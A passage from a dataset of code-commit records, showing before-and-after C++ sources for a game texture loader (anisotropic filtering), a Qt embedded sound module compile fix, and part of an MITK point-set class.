hash_id;\n}\n\n\/\/------------------------------------------------------------\n\nvoid clear_textures()\n{\n textures.clear();\n}\n\n\/\/------------------------------------------------------------\n\nconst nya_scene::texture &get_texture(unsigned int hash_id)\n{\n auto tex = textures.find(hash_id);\n \/\/assert(tex != textures.end());\n\n return tex->second;\n}\n\nconst nya_scene::texture &get_black_texture()\n{\n static nya_scene::texture black;\n static bool initialised=false;\n if(!initialised)\n {\n const unsigned char data[4]={0,0,0,0};\n nya_scene::shared_texture res;\n res.tex.build_texture(data,1,1,nya_render::texture::color_rgba);\n black.create(res);\n initialised=true;\n }\n\n return black;\n}\n\n\/\/------------------------------------------------------------\n\nnya_memory::tmp_buffer_ref load_resource(const char *name)\n{\n nya_resources::resource_data *res = nya_resources::get_resources_provider().access(name);\n if (!res)\n return nya_memory::tmp_buffer_ref();\n\n nya_memory::tmp_buffer_ref buf(res->get_size());\n res->read_all(buf.get_data());\n res->release();\n \n return buf;\n}\n\n\/\/------------------------------------------------------------\n\n}\n<commit_msg>land aniso<commit_after>\/\/\n\/\/ open horizon -- undefined_darkness@outlook.com\n\/\/\n\n#include \"shared.h\"\n#include \"memory\/memory_reader.h\"\n#include \"memory\/tmp_buffer.h\"\n#include <assert.h>\n\nnamespace shared\n{\n\n\/\/------------------------------------------------------------\n\nnamespace\n{\n std::map<unsigned int,nya_scene::texture> textures;\n}\n\n\/\/------------------------------------------------------------\n\nvoid add_texture(unsigned int hash_id, const nya_scene::texture &tex)\n{\n textures[hash_id] = tex;\n}\n\n\/\/------------------------------------------------------------\n\nunsigned int load_texture(const char *name)\n{\n auto *res = nya_resources::get_resources_provider().access(name);\n if (!res)\n return 0;\n\n size_t size = res->get_size();\n nya_memory::tmp_buffer_scoped buf(size);\n res->read_all(buf.get_data());\n res->release();\n\n return load_texture(buf.get_data(), size);\n}\n\n\/\/------------------------------------------------------------\n\nunsigned int load_texture(const void *tex_data, size_t tex_size)\n{\n assert(tex_data && tex_size);\n\n nya_memory::memory_reader reader(tex_data,tex_size);\n reader.seek(48);\n int offset = reader.read<int>();\n reader.seek(offset + 8);\n auto hash_id = reader.read<unsigned int>();\n \/\/printf(\"%d\\n\", hash_id);\n reader.seek(offset + 16);\n\n if (reader.get_remained() < 128) \/\/normal for ntxr\n return hash_id;\n\/*\n if(hash_id > 1000000000) \/\/ToDo\n {\n unsigned int *mip_count = (unsigned int *)reader.get_data()+7;\n assert(*mip_count > 10);\n *mip_count = 5;\n }\n*\/\n nya_scene::shared_texture st;\n nya_scene::resource_data data(reader.get_remained());\n data.copy_from(reader.get_data(), reader.get_remained());\n nya_scene::texture::load_dds(st, data, \"\");\n data.free();\n\n if(hash_id > 1000000000) \/\/ToDo\n st.tex.set_aniso(16);\n\n nya_scene::texture tex;\n tex.create(st);\n shared::add_texture(hash_id, tex);\n\n return hash_id;\n}\n\n\/\/------------------------------------------------------------\n\nvoid clear_textures()\n{\n textures.clear();\n}\n\n\/\/------------------------------------------------------------\n\nconst nya_scene::texture &get_texture(unsigned int hash_id)\n{\n auto tex = textures.find(hash_id);\n \/\/assert(tex != textures.end());\n\n return tex->second;\n}\n\nconst nya_scene::texture &get_black_texture()\n{\n static nya_scene::texture black;\n static bool initialised=false;\n if(!initialised)\n {\n const unsigned char data[4]={0,0,0,0};\n nya_scene::shared_texture res;\n res.tex.build_texture(data,1,1,nya_render::texture::color_rgba);\n black.create(res);\n initialised=true;\n }\n\n return black;\n}\n\n\/\/------------------------------------------------------------\n\nnya_memory::tmp_buffer_ref load_resource(const char *name)\n{\n nya_resources::resource_data *res = nya_resources::get_resources_provider().access(name);\n if (!res)\n return nya_memory::tmp_buffer_ref();\n\n nya_memory::tmp_buffer_ref buf(res->get_size());\n res->read_all(buf.get_data());\n res->release();\n \n return buf;\n}\n\n\/\/------------------------------------------------------------\n\n}\n<|endoftext|>"} {"text":"<commit_before><commit_msg>Update CF471A<commit_after><|endoftext|>"} {"text":"<commit_before>\/****************************************************************************\n**\n** Copyright (C) 2009 Nokia Corporation and\/or its subsidiary(-ies).\n** All rights reserved.\n** Contact: Nokia Corporation (qt-info@nokia.com)\n**\n** This file is part of the QtGui module of the Qt Toolkit.\n**\n** $QT_BEGIN_LICENSE:LGPL$\n** No Commercial Usage\n** This file contains pre-release code and may not be distributed.\n** You may use this file in accordance with the terms and conditions\n** contained in the Technology Preview License Agreement accompanying\n** this package.\n**\n** GNU Lesser General Public License Usage\n** Alternatively, this file may be used under the terms of the GNU Lesser\n** General Public License version 2.1 as published by the Free Software\n** Foundation and appearing in the file LICENSE.LGPL included in the\n** packaging of this file. Please review the following information to\n** ensure the GNU Lesser General Public License version 2.1 requirements\n** will be met: http:\/\/www.gnu.org\/licenses\/old-licenses\/lgpl-2.1.html.\n**\n** In addition, as a special exception, Nokia gives you certain additional\n** rights. These rights are described in the Nokia Qt LGPL Exception\n** version 1.1, included in the file LGPL_EXCEPTION.txt in this package.\n**\n** If you have questions regarding the use of this file, please contact\n** Nokia at qt-info@nokia.com.\n**\n**\n**\n**\n**\n**\n**\n**\n** $QT_END_LICENSE$\n**\n****************************************************************************\/\n\n#include \"qapplication.h\"\n\n#ifndef QT_NO_SOUND\n\n#include \"qsound.h\"\n#include \"qpaintdevice.h\"\n#include \"qwsdisplay_qws.h\"\n#include \"qsound_p.h\"\n\n#include \"qsoundqss_qws.h\"\n\n#include \"qhash.h\"\n#include \"qfileinfo.h\"\n\n#include \"qbytearray.h\"\n#include \"quuid.h\"\n#include \"qdatastream.h\"\n#include \"qcopchannel_qws.h\"\n#include \"qbuffer.h\"\n\n\nQT_BEGIN_NAMESPACE\n\n#ifdef MEDIA_SERVER\n\n#define SERVER_CHANNEL \"QPE\/MediaServer\"\n\nclass QCopMessage : public QDataStream\n{\npublic:\n QCopMessage( const QString& channel, const QString& message )\n : QDataStream( new QBuffer ), m_channel( channel ), m_message( message )\n {\n device()->open( QIODevice::WriteOnly );\n }\n\n ~QCopMessage()\n {\n QCopChannel::send( m_channel, m_message, ((QBuffer*)device())->buffer() );\n delete device();\n }\n\nprivate:\n QString m_channel;\n QString m_message;\n};\n\n#endif \/\/ MEDIA_SERVER\n\nclass QAuServerQWS;\n\nclass QAuBucketQWS : public QObject, public QAuBucket\n{\n Q_OBJECT\npublic:\n QAuBucketQWS( QAuServerQWS*, QSound*, QObject* parent = 0 );\n\n ~QAuBucketQWS();\n\n#ifndef MEDIA_SERVER\n int id() const { return id_; }\n#endif\n\n QSound* sound() const { return sound_; }\n\n#ifdef MEDIA_SERVER\n void play();\n\n void stop();\n#endif\n\nsignals:\n \/\/ Only for Media Server\n void done( QAuBucketQWS* );\n\nprivate slots:\n \/\/ Only for Media Server\n void processMessage( const QString& msg, const QByteArray& data );\n\nprivate:\n#ifdef MEDIA_SERVER\n QCopChannel *m_channel;\n QUuid m_id;\n#endif\n\n#ifndef MEDIA_SERVER\n int id_;\n#endif\n QSound *sound_;\n QAuServerQWS *server_;\n\n static int next;\n};\n\nint QAuBucketQWS::next = 0;\n\nclass QAuServerQWS : public QAuServer\n{\n Q_OBJECT\npublic:\n QAuServerQWS( QObject* parent );\n\n void init( QSound* s )\n {\n QAuBucketQWS *bucket = new QAuBucketQWS( this, s );\n#ifdef MEDIA_SERVER\n connect( bucket, SIGNAL(done(QAuBucketQWS*)),\n this, SLOT(complete(QAuBucketQWS*)) );\n#endif\n setBucket( s, bucket );\n }\n\n#ifndef MEDIA_SERVER\n \/\/ Register bucket\n void insert( QAuBucketQWS *bucket )\n {\n buckets.insert( bucket->id(), bucket );\n }\n\n \/\/ Remove bucket from register\n void remove( QAuBucketQWS *bucket )\n {\n buckets.remove( bucket->id() );\n }\n#endif\n\n void play( QSound* s )\n {\n QString filepath = QFileInfo( s->fileName() ).absoluteFilePath();\n#if defined(QT_NO_QWS_SOUNDSERVER)\n server->playFile( bucket( s )->id(), filepath );\n#elif defined(MEDIA_SERVER)\n bucket( s )->play();\n#else\n client->play( bucket( s )->id(), filepath );\n#endif\n }\n\n void stop( QSound* s )\n {\n#if defined(QT_NO_QWS_SOUNDSERVER)\n server->stopFile( bucket( s )->id() );\n#elif defined(MEDIA_SERVER)\n bucket( s )->stop();\n#else\n client->stop( bucket( s )->id() );\n#endif\n }\n\n bool okay() { return true; }\n\nprivate slots:\n \/\/ Continue playing sound if loops remain\n void complete( int id )\n {\n#ifndef MEDIA_SERVER\n QAuBucketQWS *bucket = find( id );\n if( bucket ) {\n QSound *sound = bucket->sound();\n if( decLoop( sound ) ) {\n play( sound );\n }\n }\n#else\n Q_UNUSED(id);\n#endif\n }\n\n \/\/ Only for Media Server\n void complete( QAuBucketQWS* bucket )\n {\n#ifndef MEDIA_SERVER\n Q_UNUSED(bucket);\n#else\n QSound *sound = bucket->sound();\n if( decLoop( sound ) ) {\n play( sound );\n }\n#endif\n }\n\nprotected:\n QAuBucketQWS* bucket( QSound *s )\n {\n return (QAuBucketQWS*)QAuServer::bucket( s );\n }\n\nprivate:\n#ifndef MEDIA_SERVER\n \/\/ Find registered bucket with given id, return null if none found\n QAuBucketQWS* find( int id )\n {\n QHash<int, QAuBucketQWS*>::Iterator it = buckets.find( id );\n if( it != buckets.end() ) {\n return it.value();\n }\n\n return 0;\n }\n\n QHash<int, QAuBucketQWS*> buckets; \/\/ ### possible problem with overlapping keys\n\n#ifdef QT_NO_QWS_SOUNDSERVER\n QWSSoundServer *server;\n#else\n QWSSoundClient *client;\n#endif\n\n#endif \/\/ MEDIA_SERVER\n};\n\nQAuServerQWS::QAuServerQWS(QObject* parent) :\n QAuServer(parent)\n{\n#ifndef MEDIA_SERVER\n setObjectName(QLatin1String(\"qauserverqws\"));\n\n#ifdef QT_NO_QWS_SOUNDSERVER\n server = new QWSSoundServer( this ); \/\/ ### only suitable for single application\n\n connect( server, SIGNAL(soundCompleted(int)),\n this, SLOT(complete(int)) );\n#else\n client = new QWSSoundClient( this ); \/\/ ### requires successful connection\n\n connect( client, SIGNAL(soundCompleted(int)),\n this, SLOT(complete(int)) );\n#endif\n\n#endif \/\/ MEDIA_SERVER\n}\n\nQAuBucketQWS::QAuBucketQWS( QAuServerQWS *server, QSound *sound, QObject* parent )\n : QObject( parent ), sound_( sound ), server_( server )\n{\n#ifdef MEDIA_SERVER\n m_id = QUuid::createUuid();\n\n sound->setObjectName( m_id.toString() );\n\n m_channel = new QCopChannel(QLatin1String(\"QPE\/QSound\/\") + m_id ), this );\n connect( m_channel, SIGNAL(received(QString,QByteArray)),\n this, SLOT(processMessage(QString,QByteArray)) );\n\n {\n QCopMessage message( QLatin1String(SERVER_CHANNEL), QLatin1String(\"subscribe(QUuid)\") );\n message << m_id;\n }\n\n {\n QString filepath = QFileInfo( sound_->fileName() ).absoluteFilePath();\n QCopMessage message( QLatin1String(SERVER_CHANNEL), QLatin1String(\"open(QUuid,QString)\") );\n message << m_id << filepath;\n }\n#else\n id_ = next++;\n server_->insert( this );\n#endif\n}\n\n#ifdef MEDIA_SERVER\nvoid QAuBucketQWS::play()\n{\n QString filepath = QFileInfo( sound_->fileName() ).absoluteFilePath();\n\n QCopMessage message( QLatin1String(SERVER_CHANNEL), QLatin1String(\"play(QUuid)\") );\n message << m_id;\n}\n\nvoid QAuBucketQWS::stop()\n{\n QCopMessage message( QLatin1String(SERVER_CHANNEL), QLatin1String(\"stop(QUuid)\") );\n message << m_id;\n}\n#endif \/\/ MEDIA_SERVER\n\nvoid QAuBucketQWS::processMessage( const QString& msg, const QByteArray& data )\n{\n Q_UNUSED(data);\n#ifndef MEDIA_SERVER\n Q_UNUSED(msg);\n#else\n if( msg == QLatin1String(\"done()\") ) {\n emit done( this );\n }\n#endif\n}\n\nQAuBucketQWS::~QAuBucketQWS()\n{\n#ifdef MEDIA_SERVER\n QCopMessage message( QLatin1String(SERVER_CHANNEL), QLatin1String(\"revoke(QUuid)\") );\n message << m_id;\n#else\n server_->remove( this );\n#endif\n}\n\n\nQAuServer* qt_new_audio_server()\n{\n return new QAuServerQWS(qApp);\n}\n\n#include \"qsound_qws.moc\"\n\n#endif \/\/ QT_NO_SOUND\n\nQT_END_NAMESPACE\n<commit_msg>Fix compile error in MEDIA_SERVER code.<commit_after>\/****************************************************************************\n**\n** Copyright (C) 2009 Nokia Corporation and\/or its subsidiary(-ies).\n** All rights reserved.\n** Contact: Nokia Corporation (qt-info@nokia.com)\n**\n** This file is part of the QtGui module of the Qt Toolkit.\n**\n** $QT_BEGIN_LICENSE:LGPL$\n** No Commercial Usage\n** This file contains pre-release code and may not be distributed.\n** You may use this file in accordance with the terms and conditions\n** contained in the Technology Preview License Agreement accompanying\n** this package.\n**\n** GNU Lesser General Public License Usage\n** Alternatively, this file may be used under the terms of the GNU Lesser\n** General Public License version 2.1 as published by the Free Software\n** Foundation and appearing in the file LICENSE.LGPL included in the\n** packaging of this file. Please review the following information to\n** ensure the GNU Lesser General Public License version 2.1 requirements\n** will be met: http:\/\/www.gnu.org\/licenses\/old-licenses\/lgpl-2.1.html.\n**\n** In addition, as a special exception, Nokia gives you certain additional\n** rights. These rights are described in the Nokia Qt LGPL Exception\n** version 1.1, included in the file LGPL_EXCEPTION.txt in this package.\n**\n** If you have questions regarding the use of this file, please contact\n** Nokia at qt-info@nokia.com.\n**\n**\n**\n**\n**\n**\n**\n**\n** $QT_END_LICENSE$\n**\n****************************************************************************\/\n\n#include \"qapplication.h\"\n\n#ifndef QT_NO_SOUND\n\n#include \"qsound.h\"\n#include \"qpaintdevice.h\"\n#include \"qwsdisplay_qws.h\"\n#include \"qsound_p.h\"\n\n#include \"qsoundqss_qws.h\"\n\n#include \"qhash.h\"\n#include \"qfileinfo.h\"\n\n#include \"qbytearray.h\"\n#include \"quuid.h\"\n#include \"qdatastream.h\"\n#include \"qcopchannel_qws.h\"\n#include \"qbuffer.h\"\n\n\nQT_BEGIN_NAMESPACE\n\n#ifdef MEDIA_SERVER\n\n#define SERVER_CHANNEL \"QPE\/MediaServer\"\n\nclass QCopMessage : public QDataStream\n{\npublic:\n QCopMessage( const QString& channel, const QString& message )\n : QDataStream( new QBuffer ), m_channel( channel ), m_message( message )\n {\n device()->open( QIODevice::WriteOnly );\n }\n\n ~QCopMessage()\n {\n QCopChannel::send( m_channel, m_message, ((QBuffer*)device())->buffer() );\n delete device();\n }\n\nprivate:\n QString m_channel;\n QString m_message;\n};\n\n#endif \/\/ MEDIA_SERVER\n\nclass QAuServerQWS;\n\nclass QAuBucketQWS : public QObject, public QAuBucket\n{\n Q_OBJECT\npublic:\n QAuBucketQWS( QAuServerQWS*, QSound*, QObject* parent = 0 );\n\n ~QAuBucketQWS();\n\n#ifndef MEDIA_SERVER\n int id() const { return id_; }\n#endif\n\n QSound* sound() const { return sound_; }\n\n#ifdef MEDIA_SERVER\n void play();\n\n void stop();\n#endif\n\nsignals:\n \/\/ Only for Media Server\n void done( QAuBucketQWS* );\n\nprivate slots:\n \/\/ Only for Media Server\n void processMessage( const QString& msg, const QByteArray& data );\n\nprivate:\n#ifdef MEDIA_SERVER\n QCopChannel *m_channel;\n QUuid m_id;\n#endif\n\n#ifndef MEDIA_SERVER\n int id_;\n#endif\n QSound *sound_;\n QAuServerQWS *server_;\n\n static int next;\n};\n\nint QAuBucketQWS::next = 0;\n\nclass QAuServerQWS : public QAuServer\n{\n Q_OBJECT\npublic:\n QAuServerQWS( QObject* parent );\n\n void init( QSound* s )\n {\n QAuBucketQWS *bucket = new QAuBucketQWS( this, s );\n#ifdef MEDIA_SERVER\n connect( bucket, SIGNAL(done(QAuBucketQWS*)),\n this, SLOT(complete(QAuBucketQWS*)) );\n#endif\n setBucket( s, bucket );\n }\n\n#ifndef MEDIA_SERVER\n \/\/ Register bucket\n void insert( QAuBucketQWS *bucket )\n {\n buckets.insert( bucket->id(), bucket );\n }\n\n \/\/ Remove bucket from register\n void remove( QAuBucketQWS *bucket )\n {\n buckets.remove( bucket->id() );\n }\n#endif\n\n void play( QSound* s )\n {\n QString filepath = QFileInfo( s->fileName() ).absoluteFilePath();\n#if defined(QT_NO_QWS_SOUNDSERVER)\n server->playFile( bucket( s )->id(), filepath );\n#elif defined(MEDIA_SERVER)\n bucket( s )->play();\n#else\n client->play( bucket( s )->id(), filepath );\n#endif\n }\n\n void stop( QSound* s )\n {\n#if defined(QT_NO_QWS_SOUNDSERVER)\n server->stopFile( bucket( s )->id() );\n#elif defined(MEDIA_SERVER)\n bucket( s )->stop();\n#else\n client->stop( bucket( s )->id() );\n#endif\n }\n\n bool okay() { return true; }\n\nprivate slots:\n \/\/ Continue playing sound if loops remain\n void complete( int id )\n {\n#ifndef MEDIA_SERVER\n QAuBucketQWS *bucket = find( id );\n if( bucket ) {\n QSound *sound = bucket->sound();\n if( decLoop( sound ) ) {\n play( sound );\n }\n }\n#else\n Q_UNUSED(id);\n#endif\n }\n\n \/\/ Only for Media Server\n void complete( QAuBucketQWS* bucket )\n {\n#ifndef MEDIA_SERVER\n Q_UNUSED(bucket);\n#else\n QSound *sound = bucket->sound();\n if( decLoop( sound ) ) {\n play( sound );\n }\n#endif\n }\n\nprotected:\n QAuBucketQWS* bucket( QSound *s )\n {\n return (QAuBucketQWS*)QAuServer::bucket( s );\n }\n\nprivate:\n#ifndef MEDIA_SERVER\n \/\/ Find registered bucket with given id, return null if none found\n QAuBucketQWS* find( int id )\n {\n QHash<int, QAuBucketQWS*>::Iterator it = buckets.find( id );\n if( it != buckets.end() ) {\n return it.value();\n }\n\n return 0;\n }\n\n QHash<int, QAuBucketQWS*> buckets; \/\/ ### possible problem with overlapping keys\n\n#ifdef QT_NO_QWS_SOUNDSERVER\n QWSSoundServer *server;\n#else\n QWSSoundClient *client;\n#endif\n\n#endif \/\/ MEDIA_SERVER\n};\n\nQAuServerQWS::QAuServerQWS(QObject* parent) :\n QAuServer(parent)\n{\n#ifndef MEDIA_SERVER\n setObjectName(QLatin1String(\"qauserverqws\"));\n\n#ifdef QT_NO_QWS_SOUNDSERVER\n server = new QWSSoundServer( this ); \/\/ ### only suitable for single application\n\n connect( server, SIGNAL(soundCompleted(int)),\n this, SLOT(complete(int)) );\n#else\n client = new QWSSoundClient( this ); \/\/ ### requires successful connection\n\n connect( client, SIGNAL(soundCompleted(int)),\n this, SLOT(complete(int)) );\n#endif\n\n#endif \/\/ MEDIA_SERVER\n}\n\nQAuBucketQWS::QAuBucketQWS( QAuServerQWS *server, QSound *sound, QObject* parent )\n : QObject( parent ), sound_( sound ), server_( server )\n{\n#ifdef MEDIA_SERVER\n m_id = QUuid::createUuid();\n\n sound->setObjectName( m_id.toString() );\n\n m_channel = new QCopChannel(QLatin1String(\"QPE\/QSound\/\") + m_id, this );\n connect( m_channel, SIGNAL(received(QString,QByteArray)),\n this, SLOT(processMessage(QString,QByteArray)) );\n\n {\n QCopMessage message( QLatin1String(SERVER_CHANNEL), QLatin1String(\"subscribe(QUuid)\") );\n message << m_id;\n }\n\n {\n QString filepath = QFileInfo( sound_->fileName() ).absoluteFilePath();\n QCopMessage message( QLatin1String(SERVER_CHANNEL), QLatin1String(\"open(QUuid,QString)\") );\n message << m_id << filepath;\n }\n#else\n id_ = next++;\n server_->insert( this );\n#endif\n}\n\n#ifdef MEDIA_SERVER\nvoid QAuBucketQWS::play()\n{\n QString filepath = QFileInfo( sound_->fileName() ).absoluteFilePath();\n\n QCopMessage message( QLatin1String(SERVER_CHANNEL), QLatin1String(\"play(QUuid)\") );\n message << m_id;\n}\n\nvoid QAuBucketQWS::stop()\n{\n QCopMessage message( QLatin1String(SERVER_CHANNEL), QLatin1String(\"stop(QUuid)\") );\n message << m_id;\n}\n#endif \/\/ MEDIA_SERVER\n\nvoid QAuBucketQWS::processMessage( const QString& msg, const QByteArray& data )\n{\n Q_UNUSED(data);\n#ifndef MEDIA_SERVER\n Q_UNUSED(msg);\n#else\n if( msg == QLatin1String(\"done()\") ) {\n emit done( this );\n }\n#endif\n}\n\nQAuBucketQWS::~QAuBucketQWS()\n{\n#ifdef MEDIA_SERVER\n QCopMessage message( QLatin1String(SERVER_CHANNEL), QLatin1String(\"revoke(QUuid)\") );\n message << m_id;\n#else\n server_->remove( this );\n#endif\n}\n\n\nQAuServer* qt_new_audio_server()\n{\n return new QAuServerQWS(qApp);\n}\n\n#include \"qsound_qws.moc\"\n\n#endif \/\/ QT_NO_SOUND\n\nQT_END_NAMESPACE\n<|endoftext|>"} {"text":"<commit_before>\/*=========================================================================\n\nProgram: Medical Imaging & Interaction Toolkit\nModule: $RCSfile$\nLanguage: C++\nDate: $Date$\nVersion: $Revision$\n\nCopyright (c) German Cancer Research Center, Division of Medical and\nBiological Informatics. All rights reserved.\nSee MITKCopyright.txt or http:\/\/www.mitk.org\/copyright.html for details.\n\nThis software is distributed WITHOUT ANY WARRANTY; without even\nthe implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR\nPURPOSE. See the above copyright notices for more information.\n\n=========================================================================*\/\n\n\n#include \"mitkPointSet.h\"\n#include \"mitkOperation.h\"\n#include \"mitkOperationActor.h\"\n#include \"mitkPointOperation.h\"\n#include \"mitkInteractionConst.h\"\n#include \"mitkXMLWriter.h\"\n#include \"mitkXMLReader.h\"\n#include \"mitkPointSetWriter.h\"\n#include \"mitkPointSetReader.h\"\n#include \"mitkRenderingManager.h\"\n\n#include <itkSmartPointerForwardReference.txx>\n\n\nmitk::PointSet::PointSet()\n{\n m_Initialized = false;\n m_PointSetSeries.resize( 1 );\n\n m_PointSetSeries[0] = DataType::New();\n PointDataContainer::Pointer pointData = PointDataContainer::New();\n m_PointSetSeries[0]->SetPointData( pointData );\n\n this->Initialize( 1 );\n}\n\n\nmitk::PointSet::~PointSet()\n{\n}\n\nvoid mitk::PointSet::Initialize( const mitk::Geometry3D *geometry )\n{\n const mitk::TimeSlicedGeometry *timeGeometry = \n dynamic_cast< const mitk::TimeSlicedGeometry * >( geometry );\n\n if ( timeGeometry )\n {\n this->Initialize( timeGeometry->GetTimeSteps() );\n }\n\n this->SetGeometry( static_cast< Geometry3D * >( \n geometry->Clone().GetPointer() ) );\n\n}\n\nvoid mitk::PointSet::Initialize( int timeSteps )\n{\n mitk::TimeSlicedGeometry::Pointer timeGeometry = this->GetTimeSlicedGeometry();\n\n mitk::Geometry3D::Pointer g3d = mitk::Geometry3D::New();\n g3d->Initialize();\n\n if ( timeSteps > 1 )\n {\n mitk::ScalarType timeBounds[] = {0.0, 1.0};\n g3d->SetTimeBounds( timeBounds );\n }\n\n \/\/\n \/\/ The geometry is propagated automatically to the other items,\n \/\/ if EvenlyTimed is true...\n \/\/\n timeGeometry->InitializeEvenlyTimed( g3d.GetPointer(), timeSteps );\n\n m_Initialized = true;\n}\n\nbool mitk::PointSet::IsEmpty(int t) const\n{\n return IsInitialized() && (GetSize(t) <= 0);\n}\n\nvoid mitk::PointSet::AdaptPointSetSeriesSize( int timeSteps )\n{\n \/\/ Check if the vector is long enouth to contain the new element\n \/\/ at the given position. If not, expand it with sufficient pre-initialized\n \/\/ elements.\n if ( timeSteps > m_PointSetSeries.size() )\n {\n int oldSize = m_PointSetSeries.size();\n m_PointSetSeries.resize( timeSteps );\n\n int i;\n for ( i = oldSize; i < timeSteps; ++i )\n {\n m_PointSetSeries[i] = DataType::New();\n PointDataContainer::Pointer pointData = PointDataContainer::New();\n m_PointSetSeries[i]->SetPointData( pointData );\n }\n\n this->Initialize( timeSteps );\n }\n}\n\n\nint mitk::PointSet::GetPointSetSeriesSize() const\n{\n return m_PointSetSeries.size();\n}\n\n\nint mitk::PointSet::GetSize( int t ) const\n{\n if ( t < m_PointSetSeries.size() )\n {\n return m_PointSetSeries[t]->GetNumberOfPoints();\n }\n else\n {\n return 0;\n }\n}\n\nmitk::PointSet::DataType::Pointer mitk::PointSet::GetPointSet( int t ) const\n{\n if ( t < m_PointSetSeries.size() )\n {\n return m_PointSetSeries[t];\n }\n else\n {\n return NULL;\n }\n}\n\nint mitk::PointSet::SearchPoint( Point3D point, float distance, int t )\n{\n if ( t >= m_PointSetSeries.size() )\n {\n return -1;\n }\n \n \/\/ Out is the point which is checked to be the searched point\n PointType out;\n out.Fill( 0 );\n PointType indexPoint;\n\n this->GetGeometry( t )->WorldToIndex(point, indexPoint);\n\n \/\/ Searching the first point in the Set, that is +- distance far away fro\n \/\/ the given point\n unsigned int i;\n PointsContainer::Iterator it, end;\n end = m_PointSetSeries[t]->GetPoints()->End();\n int bestIndex = -1;\n distance = distance * distance;\n \n \/\/ To correct errors from converting index to world and world to index\n if (distance == 0.0)\n {\n distance = 0.000001;\n }\n\n ScalarType bestDist = distance;\n ScalarType dist, tmp;\n\n for ( it = m_PointSetSeries[t]->GetPoints()->Begin(), i = 0;\n it != end; \n ++it, ++i )\n {\n bool ok = m_PointSetSeries[t]->GetPoints()\n ->GetElementIfIndexExists( it->Index(), &out );\n\n if ( !ok )\n {\n return -1;\n }\n else if ( indexPoint == out ) \/\/if totaly equal\n {\n return it->Index();\n }\n\n \/\/distance calculation\n tmp = out[0] - indexPoint[0]; dist = tmp * tmp;\n tmp = out[1] - indexPoint[1]; dist += tmp * tmp;\n tmp = out[2] - indexPoint[2]; dist += tmp * tmp;\n\n if ( dist < bestDist )\n {\n bestIndex = it->Index();\n bestDist = dist;\n }\n }\n return bestIndex;\n}\n\nmitk::PointSet::PointType \nmitk::PointSet::GetPoint( int position, int t ) const\n{\n PointType out;\n out.Fill(0);\n\n if ( t >= m_PointSetSeries.size() )\n {\n return out;\n }\n\n if ( m_PointSetSeries[t]->GetPoints()->IndexExists(position) )\n {\n m_PointSetSeries[t]->GetPoint( position, &out );\n\n this->GetGeometry(t)->IndexToWorld( out, out );\n\n return out;\n }\n else\n {\n return out;\n }\n}\n\n\nbool \nmitk::PointSet\n::GetPointIfExists( PointIdentifier id, PointType* point, int t )\n{\n if ( t >= m_PointSetSeries.size() )\n {\n return false;\n }\n\n if ( m_PointSetSeries[t]->GetPoints()->GetElementIfIndexExists(id, point) )\n {\n this->GetGeometry( t )->IndexToWorld( *point, *point );\n return true;\n }\n else\n {\n return false;\n }\n}\n\n\nvoid mitk::PointSet::SetPoint( PointIdentifier id, PointType point, int t )\n{\n this->AdaptPointSetSeriesSize( t+1 );\n\n mitk::Point3D indexPoint;\n this->GetGeometry( t )->WorldToIndex( point, indexPoint );\n m_PointSetSeries[t]->SetPoint( id, indexPoint );\n}\n\n\nvoid mitk::PointSet::InsertPoint( PointIdentifier id, PointType point, int t )\n{\n if ( t < m_PointSetSeries.size() )\n {\n mitk::Point3D indexPoint;\n this->GetGeometry( t )->WorldToIndex( point, indexPoint );\n m_PointSetSeries[t]->GetPoints()->InsertElement( id, indexPoint );\n }\n}\n\n\nbool mitk::PointSet::IndexExists( int position, int t )\n{\n if ( t < m_PointSetSeries.size() )\n {\n return m_PointSetSeries[t]->GetPoints()->IndexExists( position );\n }\n else\n {\n return false;\n }\n}\n\nbool mitk::PointSet::GetSelectInfo( int position, int t )\n{\n if ( this->IndexExists( position, t ) )\n {\n PointDataType pointData = { 0, false, PTUNDEFINED };\n m_PointSetSeries[t]->GetPointData( position, &pointData );\n return pointData.selected;\n }\n else\n {\n return false;\n }\n}\n\n\nconst int mitk::PointSet::GetNumberOfSelected( int t )\n{\n if ( t >= m_PointSetSeries.size() )\n {\n return 0;\n }\n\n int numberOfSelected = 0;\n PointDataIterator it;\n for ( it = m_PointSetSeries[t]->GetPointData()->Begin();\n it != m_PointSetSeries[t]->GetPointData()->End();\n it++ )\n {\n if (it->Value().selected == true)\n {\n ++numberOfSelected;\n }\n }\n\n return numberOfSelected;\n}\n\n\nint mitk::PointSet::SearchSelectedPoint( int t )\n{\n if ( t >= m_PointSetSeries.size() )\n {\n return -1;\n }\n\n PointDataIterator it;\n for ( it = m_PointSetSeries[t]->GetPointData()->Begin(); \n it != m_PointSetSeries[t]->GetPointData()->End();\n it++ )\n {\n if ( it->Value().selected == true )\n {\n return it->Index();\n }\n }\n return -1;\n}\n\nvoid mitk::PointSet::ExecuteOperation( Operation* operation )\n{\n int timeStep = -1;\n\n mitkCheckOperationTypeMacro(PointOperation, operation, pointOp);\n\n if ( pointOp )\n {\n timeStep = this->GetTimeSlicedGeometry()\n ->MSToTimeStep( pointOp->GetTimeInMS() );\n }\n\n if ( timeStep == -1 )\n {\n \/\/ Time outside of PointSet time bounds\n return;\n }\n\n switch (operation->GetOperationType())\n {\n case OpNOTHING:\n break;\n\n case OpINSERT:\/\/inserts the point at the given position and selects it. \n {\n int position = pointOp->GetIndex();\n\n PointType pt;\n pt.CastFrom(pointOp->GetPoint());\n\n \/\/transfer from world to index coordinates \n this->GetGeometry( timeStep )->WorldToIndex(pt, pt);\n\n m_PointSetSeries[timeStep]->GetPoints()->InsertElement(position, pt);\n\n PointDataType pointData = \n {\n pointOp->GetIndex(), \n pointOp->GetSelected(), \n pointOp->GetPointType()\n };\n\n m_PointSetSeries[timeStep]->GetPointData()\n ->InsertElement(position, pointData);\n\n this->Modified();\n ((const itk::Object*)this)->InvokeEvent( NewPointEvent() );\n this->OnPointSetChange();\n }\n break;\n\n case OpMOVE:\/\/moves the point given by index\n {\n PointType pt;\n pt.CastFrom(pointOp->GetPoint());\n \n \/\/transfer from world to index coordinates \n this->GetGeometry( timeStep )->WorldToIndex(pt, pt);\n\n m_PointSetSeries[timeStep]->SetPoint(pointOp->GetIndex(), pt);\n\n this->OnPointSetChange();\n\n this->Modified();\n }\n break;\n\n case OpREMOVE:\/\/removes the point at given by position \n {\n m_PointSetSeries[timeStep]->GetPoints()\n ->DeleteIndex((unsigned)pointOp->GetIndex());\n m_PointSetSeries[timeStep]->GetPointData()\n ->DeleteIndex((unsigned)pointOp->GetIndex());\n\n this->OnPointSetChange();\n\n this->Modified();\n ((const itk::Object*)this)->InvokeEvent( 